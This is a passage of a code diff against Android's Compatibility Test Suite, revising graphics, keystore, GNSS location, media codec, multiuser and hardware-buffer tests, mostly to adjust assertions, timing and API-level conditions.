+++ b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
@@ -75,9 +75,6 @@
     // Could not initialize Vulkan due to lack of device support, skip test.
     return;
   }
-  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
-                           formatDesc.vkFormat, formatDesc.pixelWidth);
-  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
 
   // Create and initialize buffer based on parameters.
   AHardwareBuffer_Desc hwbDesc{
@@ -96,6 +93,10 @@
     return;
   }
 
+  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
+                           formatDesc.vkFormat, formatDesc.pixelWidth);
+  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
+
   // Populate the buffer with well-defined data.
   AHardwareBuffer_describe(buffer, &hwbDesc);
   uint8_t *bufferAddr;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
index f96e39c..24721c3 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
@@ -33,16 +33,6 @@
     AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
 static constexpr uint32_t kTestImageCount = 3;
 
-// Checks if a vector has more than 10 unique values, in which case we consider
-// it noisy.
-bool isNoisy(const std::vector<uint32_t> &data) {
-  std::set<uint32_t> values_seen;
-  for (uint32_t value : data) {
-    values_seen.insert(value);
-  }
-  return values_seen.size() > 10;
-}
-
 } // namespace
 
 // A basic test which does the following:
@@ -94,8 +84,7 @@
              vkImage.semaphore(), vkImage.isSamplerImmutable(), &imageData),
          "Could not render/read-back Vulkan pixels.");
 
-  // Ensure that we see noise.
-  ASSERT(isNoisy(imageData), "Camera data should be noisy.");
+  // TODO(b/110025779): We should find a way to validate pixels.
 }
 
 static JNINativeMethod gMethods[] = {
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
index 2a347b2..16fc851 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
@@ -33,14 +33,14 @@
 
 namespace {
 
-jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform) {
+jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform, jint preTransformHint) {
     jclass clazz = env->FindClass("android/graphics/cts/VulkanPreTransformTest");
-    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(Z)Z");
+    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(ZI)Z");
     if (mid == 0) {
         ALOGE("Failed to find method ID");
         return false;
     }
-    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform);
+    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform, preTransformHint);
 }
 
 void createNativeTest(JNIEnv* env, jclass /*clazz*/, jobject jAssetManager, jobject jSurface,
@@ -50,6 +50,7 @@
     ASSERT(jSurface, "jSurface is NULL");
 
     DeviceInfo deviceInfo;
+    int preTransformHint;
     int ret = deviceInfo.init(env, jSurface);
     ASSERT(ret >= 0, "Failed to initialize Vulkan device");
     if (ret > 0) {
@@ -58,7 +59,7 @@
     }
 
     SwapchainInfo swapchainInfo(&deviceInfo);
-    ASSERT(!swapchainInfo.init(setPreTransform), "Failed to initialize Vulkan swapchain");
+    ASSERT(!swapchainInfo.init(setPreTransform, &preTransformHint), "Failed to initialize Vulkan swapchain");
 
     Renderer renderer(&deviceInfo, &swapchainInfo);
     ASSERT(!renderer.init(env, jAssetManager), "Failed to initialize Vulkan renderer");
@@ -67,7 +68,7 @@
         ASSERT(!renderer.drawFrame(), "Failed to draw frame");
     }
 
-    ASSERT(validatePixelValues(env, setPreTransform), "Not properly rotated");
+    ASSERT(validatePixelValues(env, setPreTransform, preTransformHint), "Not properly rotated");
 }
 
 const std::array<JNINativeMethod, 1> JNI_METHODS = {{
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index 5906c899..8598b84 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -24,6 +24,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import android.os.Build;
+import com.android.compatibility.common.util.PropertyUtil;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class CameraVulkanGpuTest {
@@ -40,6 +43,11 @@
             return;
         }
 
+        if(PropertyUtil.getFirstApiLevel() < Build.VERSION.SDK_INT){
+            // HAL3 is not required for P upgrade devices.
+            return;
+        }
+
         loadCameraAndVerifyFrameImport(InstrumentationRegistry.getContext().getAssets());
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index 7918d58..d368f0e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -31,7 +31,6 @@
 import android.test.suitebuilder.annotation.LargeTest;
 import android.util.Log;
 import android.view.PixelCopy;
-import android.view.Surface;
 import android.view.SurfaceView;
 
 import com.android.compatibility.common.util.SynchronousPixelCopy;
@@ -167,28 +166,29 @@
                 + Math.abs(actualB - expectedB);
     }
 
-    private static boolean validatePixelValuesAfterRotation(boolean setPreTransform) {
+    private static boolean validatePixelValuesAfterRotation(
+            boolean setPreTransform, int preTransformHint) {
         Bitmap bitmap = takeScreenshot();
 
         int width = bitmap.getWidth();
         int height = bitmap.getHeight();
         int diff = 0;
-        if (!setPreTransform || sActivity.getRotation() == Surface.ROTATION_0) {
+        if (!setPreTransform || preTransformHint == 0x1 /*VK_SURFACE_TRANSFORM_IDENTITY_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 255, 0, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 0, 255, 0);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 0, 0, 255);
             diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 255, 255, 0);
-        } else if (sActivity.getRotation() == Surface.ROTATION_90) {
+        } else if (preTransformHint == 0x2 /*VK_SURFACE_TRANSFORM_ROTATE_90_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 0, 255, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 255, 0);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 0, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 0, 0, 255);
-        } else if (sActivity.getRotation() == Surface.ROTATION_180) {
+        } else if (preTransformHint == 0x4 /*VK_SURFACE_TRANSFORM_ROTATE_180_BIT_KHR*/) {
             diff += pixelDiff(bitmap.getPixel(0, 0), 255, 255, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 0, 0, 255);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 0, 255, 0);
             diff += pixelDiff(bitmap.getPixel(width - 1, height - 1), 255, 0, 0);
-        } else {
+        } else { /* 0x8 : VK_SURFACE_TRANSFORM_ROTATE_270_BIT_KHR*/
             diff += pixelDiff(bitmap.getPixel(0, 0), 0, 0, 255);
             diff += pixelDiff(bitmap.getPixel(width - 1, 0), 255, 0, 0);
             diff += pixelDiff(bitmap.getPixel(0, height - 1), 255, 255, 0);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index a3f116e..3780124 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -350,7 +350,12 @@
 
             drawable.start();
             assertTrue(drawable.isRunning());
+        });
 
+        cb.waitForStart();
+        cb.assertStarted(true);
+
+        mActivityRule.runOnUiThread(() -> {
             drawable.stop();
             assertFalse(drawable.isRunning());
         });
@@ -358,7 +363,6 @@
         // This duration may be overkill, but we need to wait for the message
         // to post. Increasing it should help with flakiness on bots.
         cb.waitForEnd(DURATION * 3);
-        cb.assertStarted(true);
         cb.assertEnded(true);
     }
 
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index cf6da3c..1bc5f8c 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -41,8 +41,6 @@
     private final static String SYSTEM_CONFIG_FILE = PUBLIC_CONFIG_DIR + "public.libraries.txt";
     private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
             "public\\.libraries-([A-Za-z0-9\\-_.]+)\\.txt");
-    private final static Pattern EXTENSION_LIBRARY_FILE_PATTERN = Pattern.compile(
-            "lib[^.]+\\.([A-Za-z0-9\\-_.]+)\\.so");
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
     private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
         "libaaudio.so",
@@ -126,8 +124,12 @@
                 // libFoo.acme.so
                 List<String> libNames = readPublicLibrariesFile(configFile);
                 for (String lib : libNames) {
-                    Matcher libMatcher = EXTENSION_LIBRARY_FILE_PATTERN.matcher(lib);
-                    if (libMatcher.matches() && libMatcher.group(1).equals(companyName)) {
+                    int space = lib.lastIndexOf(' ');
+                    if (space != -1) {
+                      // Drop 64 or 32 from 'libFoo.so 64'
+                      lib = lib.substring(0, space);
+                    }
+                    if (lib.endsWith("." + companyName + ".so")) {
                         libs.add(lib);
                     } else {
                         return "Library \"" + lib + "\" in " + configFile.toString()
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 7db0f61..4bd6965 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -1345,46 +1345,6 @@
         assertPrivateKeyEntryEquals(actual, "RSA", FAKE_RSA_KEY_1, FAKE_RSA_USER_1, FAKE_RSA_CA_1);
     }
 
-    public void testKeyStore_SetEntry_PrivateKeyEntry_Params_Unencrypted_Failure() throws Exception {
-        // The Android Keystore requires encrypted storage which is only decryptable with a key
-        // bound to a credential provided by the user. By default, the Keystore waits for the user
-        // to set a lock screen PIN or password and uses this credential to set up an encrypted
-        // storage space itself. In that implementation, the Keystore should not be initialized when
-        // no lock screen PIN or password has been set. This is what the test verifies.
-        //
-        // If your environment already provides encrypted storage which is only decryptable with a
-        // key bound to another credential provided by the user, you may initialize the Keystore
-        // immediately and get a waiver for this test.
-        KeyguardManager keyguardManager =
-                (KeyguardManager) getContext().getSystemService(Context.KEYGUARD_SERVICE);
-        assertNotNull(keyguardManager);
-        assertFalse("Secure lock screen must not be configured", keyguardManager.isDeviceSecure());
-
-        mKeyStore.load(null, null);
-
-        KeyFactory keyFact = KeyFactory.getInstance("RSA");
-        PrivateKey expectedKey = keyFact.generatePrivate(new PKCS8EncodedKeySpec(FAKE_RSA_KEY_1));
-
-        final CertificateFactory f = CertificateFactory.getInstance("X.509");
-
-        final Certificate[] expectedChain = new Certificate[2];
-        expectedChain[0] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_USER_1));
-        expectedChain[1] = f.generateCertificate(new ByteArrayInputStream(FAKE_RSA_CA_1));
-
-        PrivateKeyEntry entry = new PrivateKeyEntry(expectedKey, expectedChain);
-
-        try {
-            mKeyStore.setEntry(TEST_ALIAS_1, entry,
-                    new KeyStoreParameter.Builder(getContext())
-                    .setEncryptionRequired(true)
-                    .build());
-            fail("Shouldn't be able to insert encrypted entry when KeyStore uninitialized");
-        } catch (KeyStoreException expected) {
-        }
-
-        assertNull(mKeyStore.getEntry(TEST_ALIAS_1, null));
-    }
-
     public void testKeyStore_SetEntry_PrivateKeyEntry_Overwrites_PrivateKeyEntry_Unencrypted_Success()
             throws Exception {
         mKeyStore.load(null, null);
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index e75a60f..3f9f758 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -279,7 +279,10 @@
 
         public void performDeviceLock() {
             mLockCredential.sleepDevice();
-            SystemClock.sleep(200);
+            KeyguardManager keyguardManager = (KeyguardManager)getContext().getSystemService(Context.KEYGUARD_SERVICE);
+            for (int i = 0; i < 25 && !keyguardManager.isDeviceLocked(); i++) {
+                SystemClock.sleep(200);
+            }
         }
 
         public void performDeviceUnlock() throws Exception {
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
index 216989f..8e2c3f8 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementValuesTest.java
@@ -20,6 +20,8 @@
 import android.location.GnssMeasurementsEvent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
@@ -76,6 +78,7 @@
      * It only performs sanity checks for the measurements received.
      * This tests uses actual data retrieved from GPS HAL.
      */
+    @CddTest(requirement="7.3.3/C-3-2,C-3-3")
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
         // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
index af5e943..99c4067 100644
--- a/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssNavigationMessageTest.java
@@ -42,6 +42,7 @@
     private static final String TAG = "GpsNavMsgTest";
     private static final int EVENTS_COUNT = 5;
     private TestGnssNavigationMessageListener mTestGnssNavigationMessageListener;
+    private TestLocationListener mLocationListener;
 
     @Override
     protected void setUp() throws Exception {
@@ -51,6 +52,10 @@
 
     @Override
     protected void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
         // Unregister GnssNavigationMessageListener
         if (mTestGnssNavigationMessageListener != null) {
             mTestLocationManager
@@ -73,6 +78,9 @@
             return;
         }
 
+        mLocationListener = new TestLocationListener(EVENTS_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
         // Register Gps Navigation Message Listener.
         mTestGnssNavigationMessageListener =
                 new TestGnssNavigationMessageListener(TAG, EVENTS_COUNT);
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 1f7ffa4..07aa083 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -3,6 +3,8 @@
 import android.location.GnssStatus;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
@@ -56,6 +58,7 @@
   /**
    * Tests values of {@link GnssStatus}.
    */
+  @CddTest(requirement="7.3.3/C-1-4")
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not,
     // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/GnssTestCase.java b/tests/tests/location/src/android/location/cts/GnssTestCase.java
index e1c5e88..a128c95 100644
--- a/tests/tests/location/src/android/location/cts/GnssTestCase.java
+++ b/tests/tests/location/src/android/location/cts/GnssTestCase.java
@@ -16,11 +16,10 @@
 package android.location.cts;
 
 import android.os.Build;
+import android.os.SystemProperties;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import com.android.compatibility.common.util.PropertyUtil;
-
 /**
  * Base Test Case class for all Gnss Tests.
  */
@@ -38,7 +37,7 @@
     // On devices using newer hardware, GNSS measurement support is required.
     protected boolean isMeasurementTestStrict() {
         // Enforce strict measurement test on devices with first API level at least P.
-        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.P) {
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             return true;
         }
 
@@ -53,4 +52,4 @@
     public boolean isCtsVerifierTest() {
         return mCtsVerifierTest;
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 940146e..2ca0c2c 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -24,6 +24,7 @@
 import android.location.GnssStatus;
 import android.location.LocationManager;
 import android.os.Build;
+import android.os.SystemProperties;
 import android.util.Log;
 
 import java.util.Arrays;
@@ -55,7 +56,6 @@
 
     private static final int YEAR_2016 = 2016;
     private static final int YEAR_2017 = 2017;
-    private static final int YEAR_2018 = 2018;
 
     private enum GnssBand {
         GNSS_L1,
@@ -815,10 +815,10 @@
     public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
         TestLocationManager testLocationManager,
         boolean hasCarrierFrequency, float carrierFrequencyHz) {
-        // Enforcing CarrierFrequencyHz  check only for year 2018+
-        if (testLocationManager.getLocationManager().getGnssYearOfHardware() >= YEAR_2018) {
+        // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
+        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
             softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
-                hasCarrierFrequency);
+                    hasCarrierFrequency);
         }
 
         if (hasCarrierFrequency) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 2baf410..47a3a31 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1483,7 +1483,7 @@
         final double TEST_SWEEP = 100;
         final int TEST_LOOPS = 1;
         final double TEST_FREQUENCY = 400;
-        final long WAIT_TIME_MS = 50; // compensate for cold start when run in isolation.
+        final long WAIT_TIME_MS = 150; // compensate for cold start when run in isolation.
         final double TEST_LOOP_DURATION = 0.25;
 
         playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 1d77473..926abd8 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -226,6 +226,11 @@
             session.setFlags(MediaSession.FLAG_HANDLES_MEDIA_BUTTONS
                     | MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
             session.setCallback(callback, handler);
+            PlaybackState state = new PlaybackState.Builder()
+                    .setState(PlaybackState.STATE_PLAYING, 0, 1.0f).build();
+            // Fake the media session service so this session can take the media key events.
+            session.setPlaybackState(state);
+            session.setActive(true);
 
             // A media playback is also needed to receive media key events.
             Utils.assertMediaPlaybackStarted(context);
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
index 20c9d3a..48faf49 100644
--- a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
@@ -367,24 +367,27 @@
 
     /**
      * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
-     * height equal to the original frame width and height.
+     * height equal to the crop window.
      */
-    private static byte[] PackYUV420(int width, int height,
+    private static byte[] PackYUV420(int left, int top, int width, int height,
             int stride, int sliceHeight, byte[] src) {
         byte[] dst = new byte[width * height * 3 / 2];
         // Y copy.
         for (int i = 0; i < height; i++) {
-            System.arraycopy(src, i * stride, dst, i * width, width);
+            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
         }
         // U and V copy.
         int u_src_offset = stride * sliceHeight;
         int v_src_offset = u_src_offset + u_src_offset / 4;
         int u_dst_offset = width * height;
         int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+        // Downsample and align to floor-2 for crop origin.
+        left /= 2;
+        top /= 2;
         for (int i = 0; i < height / 2; i++) {
-            System.arraycopy(src, u_src_offset + i * (stride / 2),
+            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
                     dst, u_dst_offset + i * (width / 2), width / 2);
-            System.arraycopy(src, v_src_offset + i * (stride / 2),
+            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
                     dst, v_dst_offset + i * (width / 2), width / 2);
         }
         return dst;
@@ -532,6 +535,10 @@
         int frameCount = ivf.getFrameCount();
         int frameStride = frameWidth;
         int frameSliceHeight = frameHeight;
+        int cropLeft = 0;
+        int cropTop = 0;
+        int cropWidth = frameWidth;
+        int cropHeight = frameHeight;
         assertTrue(frameWidth > 0);
         assertTrue(frameHeight > 0);
         assertTrue(frameCount > 0);
@@ -634,6 +641,28 @@
                             " x " + frameSliceHeight);
                     frameStride = Math.max(frameWidth, frameStride);
                     frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+
+                    // Parse crop window for the area of recording decoded frame data.
+                    if (format.containsKey("crop-left")) {
+                        cropLeft = format.getInteger("crop-left");
+                    }
+                    if (format.containsKey("crop-top")) {
+                        cropTop = format.getInteger("crop-top");
+                    }
+                    if (format.containsKey("crop-right")) {
+                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
+                    } else {
+                        cropWidth = frameWidth;
+                    }
+                    if (format.containsKey("crop-bottom")) {
+                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
+                    } else {
+                        cropHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
+                            + ", size: " + cropWidth + " x " + cropHeight);
+                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
+                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
                 }
                 result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
             }
@@ -660,11 +689,11 @@
                             frame = NV12ToYUV420(frameWidth, frameHeight,
                                     frameStride, frameSliceHeight, frame);
                         }
-                        int writeLength = Math.min(frameWidth * frameHeight * 3 / 2, frame.length);
+                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
                         // Pack frame if necessary.
                         if (writeLength < frame.length &&
-                                (frameStride > frameWidth || frameSliceHeight > frameHeight)) {
-                            frame = PackYUV420(frameWidth, frameHeight,
+                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
+                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
                                     frameStride, frameSliceHeight, frame);
                         }
                         yuv.write(frame, 0, writeLength);
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 3e9122b..45fd6d8 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -20,27 +20,20 @@
 
 import android.os.UserManager;
 import android.test.InstrumentationTestCase;
-import android.util.Log;
 
 public class SplitSystemUserTest extends InstrumentationTestCase {
 
-    private static final String TAG = SplitSystemUserTest.class.getSimpleName();
-
     public void testSplitSystemUserIsDisabled() throws Exception {
-        // Verify that am get-current-user and UserManager.isSystemUser both return 0
-        String curUser = SystemUtil.runShellCommand(getInstrumentation(), "am get-current-user");
-        Log.i(TAG, "am get-current-user: " + curUser);
-        assertEquals("Test must be running under user 0", "0", trim(curUser));
-        UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
-        assertTrue("Test must be running under system user", um.isSystemUser());
-
-        // Check that ro.fw.system_user_split property is not set
+        // Check that ro.fw.system_user_split property is not set.
         String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
                 "getprop ro.fw.system_user_split"));
         boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
                 || "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
                 || "on".equals(splitEnabledStr);
         assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
+
+        // Check UserManager.isSplitSystemUser returns false as well.
+        assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
     }
 
     private static String trim(String s) {
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 36f1b8a..fd0d37b 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -502,29 +502,14 @@
     }
 )glsl";
 
-const char* kSsboVertexShaderEs31 = R"glsl(#version 310 es
-    in vec2 aPosition;
-    in float aDepth;
-    uniform mediump float uScale;
+const char* kSsboComputeShaderEs31 = R"glsl(#version 310 es
+    layout(local_size_x = 1) in;
     layout(std430, binding=0) buffer Output {
-        vec2 data[];
+        uint data[];
     } bOutput;
-    out mediump vec2 vTexCoords;
     void main() {
-        bOutput.data[gl_VertexID] = aPosition;
-        vTexCoords = (vec2(1.0) + aPosition) * 0.5;
-        gl_Position.xy = aPosition * uScale;
-        gl_Position.z = aDepth;
-        gl_Position.w = 1.0;
-    }
-)glsl";
-
-const char* kColorFragmentShaderEs3x = R"glsl(
-    precision mediump float;
-    uniform lowp vec4 uColor;
-    out mediump vec4 color;
-    void main() {
-        color = uColor;
+        bOutput.data[gl_GlobalInvocationID.x] =
+            gl_GlobalInvocationID.x * 3u;
     }
 )glsl";
 
@@ -998,6 +983,7 @@
                     internal_format = GL_DEPTH_STENCIL_OES;
                     format = GL_DEPTH_STENCIL;
                     type = GL_UNSIGNED_INT_24_8;
+                    break;
                 default:
                     FAIL() << "Unrecognized GL format"; break;
             }
@@ -1232,8 +1218,9 @@
               mGLVersion / 10, mGLVersion % 10);
         return;
     }
+    const int kBufferElements = 16;
     AHardwareBuffer_Desc desc = GetParam();
-    desc.width = sizeof kQuadPositions;
+    desc.width = kBufferElements * sizeof(int);
     desc.usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY | AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER;
     if (!SetUpBuffer(desc)) return;
 
@@ -1244,30 +1231,44 @@
     }
 
     // Clear the buffer to zero
-    std::vector<float> zero_data(desc.width / sizeof(float), 0.f);
-    glBufferSubData(GL_SHADER_STORAGE_BUFFER, 0, desc.width, zero_data.data());
+    std::vector<unsigned int> expected_data(kBufferElements, 0U);
+    glBufferSubData(GL_SHADER_STORAGE_BUFFER, 0, desc.width, expected_data.data());
     glFinish();
 
-    // Write into the buffer with a shader
-    SetUpFramebuffer(40, 40, 0, kRenderbuffer);
-    SetUpProgram(kSsboVertexShaderEs31, std::string("#version 310 es") + kColorFragmentShaderEs3x,
-                 kQuadPositions, 0.5f);
+    // Write into the buffer with a compute shader
+    GLint status = 0;
+    mProgram = glCreateProgram();
+    GLuint shader = glCreateShader(GL_COMPUTE_SHADER);
+    glShaderSource(shader, 1, &kSsboComputeShaderEs31, nullptr);
+    glCompileShader(shader);
+    glGetShaderiv(shader, GL_COMPILE_STATUS, &status);
+    ASSERT_EQ(GL_TRUE, status) << "Compute shader compilation failed";
+    glAttachShader(mProgram, shader);
+    glLinkProgram(mProgram);
+    glGetProgramiv(mProgram, GL_LINK_STATUS, &status);
+    ASSERT_EQ(GL_TRUE, status) << "Shader program linking failed";
+    glDetachShader(mProgram, shader);
+    glDeleteShader(shader);
+    glUseProgram(mProgram);
+    ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
     glBindBufferBase(GL_SHADER_STORAGE_BUFFER, 0, mBufferObjects[mWhich]);
-    glDrawArrays(GL_TRIANGLES, 0, kQuadVertexCount);
+    glDispatchCompute(kBufferElements, 1, 1);
+    glMemoryBarrier(GL_BUFFER_UPDATE_BARRIER_BIT);
     glFinish();
     EXPECT_EQ(GLenum{GL_NO_ERROR}, glGetError());
 
     // Inspect the data written into the buffer using CPU access.
     MakeCurrent(0);
-    float* data = nullptr;
+    unsigned int* data = nullptr;
     int result = AHardwareBuffer_lock(mBuffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY,
                                       -1, nullptr, reinterpret_cast<void**>(&data));
     ASSERT_EQ(NO_ERROR, result);
     std::ostringstream s;
-    for (int i = 0; i < 12; ++i) {
+    for (int i = 0; i < kBufferElements; ++i) {
+		expected_data[i] = static_cast<unsigned int>(i * 3);
         s << data[i] << ", ";
     }
-    EXPECT_EQ(0, memcmp(kQuadPositions, data, desc.width)) << s.str();
